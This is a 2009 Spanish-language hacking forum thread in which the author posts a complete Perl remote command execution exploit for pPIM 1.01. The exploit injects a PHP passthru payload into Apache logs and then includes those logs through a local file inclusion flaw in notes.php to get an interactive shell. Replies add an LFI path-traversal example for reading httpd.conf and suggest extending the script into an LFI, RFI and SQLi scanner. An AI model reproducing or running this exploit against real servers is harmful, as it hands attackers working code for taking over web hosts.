elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.
 
Inicio Ayuda Buscar Ingresar Registrarse
28 Mayo 2012, 05:36  


Tema destacado: Nueva página de elhacker.net en Google+ Google+

+  Foro de elhacker.net
|-+  Seguridad Informática
| |-+  Bugs y Exploits
| | |-+  Nivel Web (Moderadores: sirdarckcat, WHK)
| | | |-+  Concepto práctico en la creación de un EXPLOIT para RCE mediante LFI 'caso real'
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Respuesta Imprimir
Autor Tema: Concepto práctico en la creación de un EXPLOIT para RCE mediante LFI 'caso real'  (Leído 3,036 veces)
JosS__!

Desconectado Desconectado

Mensajes: 16


Ver Perfil
Concepto práctico en la creación de un EXPLOIT para RCE mediante LFI 'caso real'
« en: 23 Febrero 2009, 22:13 »

Haces escasas horas publiqué un exploit en milw0rm.com, el cual está basado en una técnica muy famosa que nos permite ejecutar comandos mediante LFI, es como un RCE a partir de un LFI.

Exploit:

Código:
#!/usr/bin/perl
####################################################################
# pPIM 1.01 (notes.php id) Remote Command Execution Exploit
# url: http://www.phlatline.org/docs/files/ppim.zip
#
# Author: Jose Luis Gongora Fernandez (a.k.a) JosS
# mail: sys-project[at]hotmail[dot]com
# site: http://www.hack0wn.com/
# team: Spanish Hackers Team - [SHT]
#
# thanks for the base code: CWH Underground
# but I changed many things and fix bugs.
#
# Hack0wn Security Project!!
#
# This was written for educational purpose. Use it at your own risk.
# Author will be not responsible for any damage.
#
####################################################################
# OUTPUT: (tested on localhost)
#
# Trying to Inject the Code...
# Successfully injected in ../../../../../../../var/log/apache2/access.log
#
# [shell]:~$ id
#  uid=33(www-data) gid=33(www-data) groups=33(www-data)
# [shell]:~$ uname -a
#  Linux h4x0rz 2.6.18-6-686 #1 SMP Sat Dec 27 09:31:05 UTC 2008 i686 GNU/Linux
# [shell]:~$ exit
# joss@h4x0rz:~/Desktop$


        use LWP::UserAgent;
use IO::Socket;
use LWP::Simple;


@apache=(
        "../../../../../../../apache/logs/error.log",
"../../../../../../../apache/logs/access.log",
"../../../../../../../apache/logs/error.log",
"../../../../../../../apache/logs/access.log",
"../../../../../../../apache/logs/error.log",
"../../../../../../../apache/logs/access.log",
"../../../../../../../etc/httpd/logs/acces_log",
"../../../../../../../etc/httpd/logs/acces.log",
"../../../../../../../etc/httpd/logs/error_log",
"../../../../../../../etc/httpd/logs/error.log",
"../../../../../../../var/www/logs/access_log",
"../../../../../../../var/www/logs/access.log",
"../../../../../../../usr/local/apache/logs/access_log",
"../../../../../../../usr/local/apache/logs/access.log",
"../../../../../../../var/log/apache/access_log",
"../../../../../../../var/log/apache2/access_log",
"../../../../../../../var/log/apache/access.log",
"../../../../../../../var/log/apache2/access.log",
"../../../../../../../var/log/access_log",
"../../../../../../../var/log/access.log",
"../../../../../../../var/www/logs/error_log",
"../../../../../../../var/www/logs/error.log",
"../../../../../../../usr/local/apache/logs/error_log",
"../../../../../../../usr/local/apache/logs/error.log",
"../../../../../../../var/log/apache/error_log",
"../../../../../../../var/log/apache2/error_log",
"../../../../../../../var/log/apache/error.log",
"../../../../../../../var/log/apache2/error.log",
"../../../../../../../var/log/error_log",
"../../../../../../../var/log/error.log",
"../../../../../var/log/access_log",
"../../../../../var/log/access_log"
);

system(($^O eq 'MSWin32') ? 'cls' : 'clear');

        print "#######################################################################\n";
        print "# pPIM 1.01 (notes.php id) Remote Command Execution Exploit | By JosS #\n";
        print "#######################################################################\n\n";


        if (!$ARGV[0])
           {
             print "Usage: perl exploit.pl [host]\n";
             print "       perl exploit.pl localhost\n\n";
        exit;}

$host=$ARGV[0];
        $path="/notes.php?mode=edit&id="; # change if it is necesary

# if ( $host   =~   /^http:/ ) {$host =~ s/http:\/\///g;}

print "\nTrying to Inject the Code...\n";
$CODE="<? passthru(\$_GET[cmd]) ?>";
$socket = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"$host", PeerPort=>"80") or die "Could not connect to host.\n\n";
print $socket "GET /images/"."\#\#%\$\$%\#\#".$CODE."\#\#%\$\$%\#\#" . "HTTP/1.1";
print $socket "Host: ".$host."\r\n";
print $socket "Connection: close\r\n\r\n";
close($socket);

if ( $host   !~   /^http:/ ) {$host = "http://" . $host;}

foreach $getlog(@apache)
                {
                  chomp($getlog);         
  $find= $host.$path.$getlog; # $find= $host.$path.$getlog."%00";
                  $xpl = LWP::UserAgent->new() or die "Could not initialize browser\n";
  $req = HTTP::Request->new(GET => $find);
  $res = $xpl->request($req);
  $info = $res->content;
                  if($info =~ /\#\#\%\$\$\%\#\#/) # change if it is necesary
                  {print "Successfully injected in $getlog \n\n";$log=$getlog; last;}
                }

print "[shell]:~\$ ";
chomp( $cmd = <STDIN> );

while($cmd !~ "exit") {   
$shell= $host.$path.$log."&cmd=$cmd"; # $shell= $host.$path.$log."%00&cmd=$cmd";
$xpl = LWP::UserAgent->new() or die "Could not initialize browser\n";
$req = HTTP::Request->new(GET => $shell);
$res = $xpl->request($req);
$info = $res->content;
if ($info =~ /\#\#%\$\$%\#\#(.*?)\#\#%\$\$%\#\#/sg)
{print $1;}
print "[shell]:~\$ ";
chomp( $cmd = <STDIN> );
}

         
        # __h0__

Mirror: http://milw0rm.com/exploits/8093

Propósito del TOPIC: La principal razón de este topic es para que la gente aprenda a implementar en sus propios exploits la forma de hacer un RCE mediante LFI, además estaré aquí para cualquier duda que se prensete.

Un saludo.
En línea
Azielito
no es
CoAdmin
***
Desconectado Desconectado

Mensajes: 9.114


>.<


Ver Perfil WWW
Re: Concepto práctico en la creación de un EXPLOIT para RCE mediante LFI 'caso real'
« Respuesta #1 en: 23 Febrero 2009, 23:53 »

Yo hace tiempo tube un problemilla al cargar los logs de apache bajo free BSD, habra la posibilidad de cargar un archivo de ubicación de logs en el script?

(creo que tengo que aprender perl ¬¬)
En línea

JosS__!

Desconectado Desconectado

Mensajes: 16


Ver Perfil
Re: Concepto práctico en la creación de un EXPLOIT para RCE mediante LFI 'caso r
« Respuesta #2 en: 24 Febrero 2009, 00:07 »

a que te refieres con 'cargar'?, explícate un poco mejor a ver si te puedo ayudar.

Un saludo.
En línea
WHK
吴阿卡
Moderador
***
Desconectado Desconectado

Mensajes: 4.113


The Hacktivism is not a crime


Ver Perfil WWW
Re: Concepto práctico en la creación de un EXPLOIT para RCE mediante LFI 'caso real'
« Respuesta #3 en: 24 Febrero 2009, 02:48 »

Hola, creo entender que te refieres a poder hacer ina inclusión al archivo de logs pero en el caso de que bsd no tenga por defecto el mismo directorio de logs puedes sacarlo atraves del httpd.conf..

Citar
echo nl2br(htmlspecialchars(LFI_GET('../../../../../etc/httpd/conf/httpd.conf%00'), ENT_QUOTES));
(es solo un ejemplo)

Con esto ya podrás ver la libnea donde se aloja el directorio de logs:
Citar
CustomLog "c:/wamp/logs/access.log" common
Este es mi caso porque uso un wamp pero en linux debería aparecer la ruta exacta de logs.

PD: JosS__! muchas gracias por tu aporte, de seguro le podrá servir a muchos.
« Última modificación: 24 Febrero 2009, 02:50 por WHK » En línea

Mi foro Ultra Off-Topics: http://whk.drawcoders.com/foro/

Gracias a todos! Good bye!
Azielito
no es
CoAdmin
***
Desconectado Desconectado

Mensajes: 9.114


>.<


Ver Perfil WWW
Re: Concepto práctico en la creación de un EXPLOIT para RCE mediante LFI 'caso real'
« Respuesta #4 en: 24 Febrero 2009, 19:45 »

me refiero a ahcer algo asi

Código
$logs = file("logs.txt");
$lineas = count($logs);
for($i=0; $i < $lineas; $i++){
      echo $logs[$i];
}

pero en perl, o sea, en ese archivo "logs.txt" tenemos todas las rutas posibles en diferentes sistemas y vamos leyendo linea a linea para comprarar esa cadena (la ubicacion del archivo log) :D

o sea, algo asi como "leer de una base de datos la ubicacion de logs" usando un archivo de texto :D

p
En línea

JosS__!

Desconectado Desconectado

Mensajes: 16


Ver Perfil
Re: Concepto práctico en la creación de un EXPLOIT para RCE mediante LFI 'caso r
« Respuesta #5 en: 24 Febrero 2009, 22:56 »

por supuesto que se puede ... pero tienes algún problema con eso? o solo preguntabas si se podía?

saludos
En línea
Azielito
no es
CoAdmin
***
Desconectado Desconectado

Mensajes: 9.114


>.<


Ver Perfil WWW
Re: Concepto práctico en la creación de un EXPLOIT para RCE mediante LFI 'caso real'
« Respuesta #6 en: 25 Febrero 2009, 01:20 »

Solo pregunto si se podia, te digo que soy muy malo en perl, de hecho no se nada de este, por eos pregunto, tal vez fue tonta mi pregunta :')
En línea

WHK
吴阿卡
Moderador
***
Desconectado Desconectado

Mensajes: 4.113


The Hacktivism is not a crime


Ver Perfil WWW
Re: Concepto práctico en la creación de un EXPLOIT para RCE mediante LFI 'caso real'
« Respuesta #7 en: 25 Febrero 2009, 02:15 »

Solo pregunto si se podia, te digo que soy muy malo en perl, de hecho no se nada de este, por eos pregunto, tal vez fue tonta mi pregunta :')

Azielito si todos nacieramos sabiendo no creo que todavía estubieramos viviendo dependizados del petroleo.

Código
#!/usr/local/perl
open(manejador, 'auditorias.txt'); # abre los links
$cantidad = 0;
while(<manejador>){ # while por cada linea hasta que sea null (haya terminado)
$cantidad++;
chomp; # Termina la cadena
apache[$cantidad] = $_;
}

Con esto puedes reemplazar el array de @apache para que cada linea del texto se transforme en un array.

De esta misma forma hasta puedes separar por funciones y hacer escaneos para LFI, RFI, SQLI etc anteponiendo un id al comienzo de cada ruta como por ejemplo LFI:RUTA y con split separas lo que vas a auditar con la ruta y vas testeando y enviando los datos a la función correspondiente.
En línea

Mi foro Ultra Off-Topics: http://whk.drawcoders.com/foro/

Gracias a todos! Good bye!
Azielito
no es
CoAdmin
***
Desconectado Desconectado

Mensajes: 9.114


>.<


Ver Perfil WWW
Re: Concepto práctico en la creación de un EXPLOIT para RCE mediante LFI 'caso real'
« Respuesta #8 en: 25 Febrero 2009, 16:10 »

wow '_'

al final es muuuuuuy similar a PHP :xD

ahora mismo lo pruebo :D gracias




eso de hacer escaneos para LFI, RFI, SQLi no se me habia ocurrido, asi con un solo script sabras todo >.<

ahora me pongo a estudiar perl :')
En línea

Novlucker
Ninja y
Ex-Staff
*
Desconectado Desconectado

Mensajes: 10.239


Yo que tu lo pienso dos veces


Ver Perfil
Re: Concepto práctico en la creación de un EXPLOIT para RCE mediante LFI 'caso real'
« Respuesta #9 en: 25 Febrero 2009, 17:05 »

Agrega python  :P , que se está dando a conocer y muchos exploits y tools están apareciendo en ese lenguaje, perl lo aprendí por lo mismo  ;D

Saludos
En línea

Contribuye con la limpieza del foro, reporta los "casos perdidos" a un MOD XD
http://twitter.com/novlucker

"Hay dos cosas infinitas: el Universo y la estupidez  humana. Y de la primera no estoy muy seguro."
Albert Einstein

WHK
吴阿卡
Moderador
***
Desconectado Desconectado

Mensajes: 4.113


The Hacktivism is not a crime


Ver Perfil WWW
Re: Concepto práctico en la creación de un EXPLOIT para RCE mediante LFI 'caso real'
« Respuesta #10 en: 26 Febrero 2009, 03:19 »

Es genial hacer algún PoC en python pero ya muchos se acostumbran al perl y por lo general es como el standard.
Ahora último se han estado haciendo muchos exploits en php para ser utilizados desde la linea de comandos porque a veces llega a ser más fácil de usar que perl y un tanto mas flexible y al igual que python es multiplataforma.

El mejor lugar para ir aprendiendo es de los mismos exploits desde milw0rm y sitios similares donde se muestren pruevas de concepto.
En línea

Mi foro Ultra Off-Topics: http://whk.drawcoders.com/foro/

Gracias a todos! Good bye!
berz3k
Colaborador
***
Desconectado Desconectado

Mensajes: 1.140



Ver Perfil
Re: Concepto práctico en la creación de un EXPLOIT para RCE mediante LFI 'caso real'
« Respuesta #11 en: 25 Marzo 2009, 00:04 »

@JosS__!

Es bueno el code, hacerlo de forma automatica injectando sobre los paths logs es interesante, aunque no siempre funcionara, depende de permisos , un install default etc, si tenemos suerte el pwn3d sera exitoso.

-berz3k.
En línea
Páginas: [1] Ir Arriba Respuesta Imprimir 

Ir a:  

Mensajes similares
Asunto Iniciado por Respuestas Vistas Último mensaje
[CASO REAL] Vulnerabilidades replicadas: Un barrio al descubierto « 1 2 3 »
Hacking Avanzado
rolo91 41 11,881 Último mensaje 5 Diciembre 2010, 15:38
por ddaanniii
Ayuda con caso práctico
Redes
nemorales 0 1,642 Último mensaje 3 Diciembre 2010, 00:25
por nemorales
Problema SQLi real/practico
Nivel Web
Søra 4 1,629 Último mensaje 23 Septiembre 2011, 23:59
por ~ Yoya ~
Powered by SMF 1.1.16 | SMF © 2006-2008, Simple Machines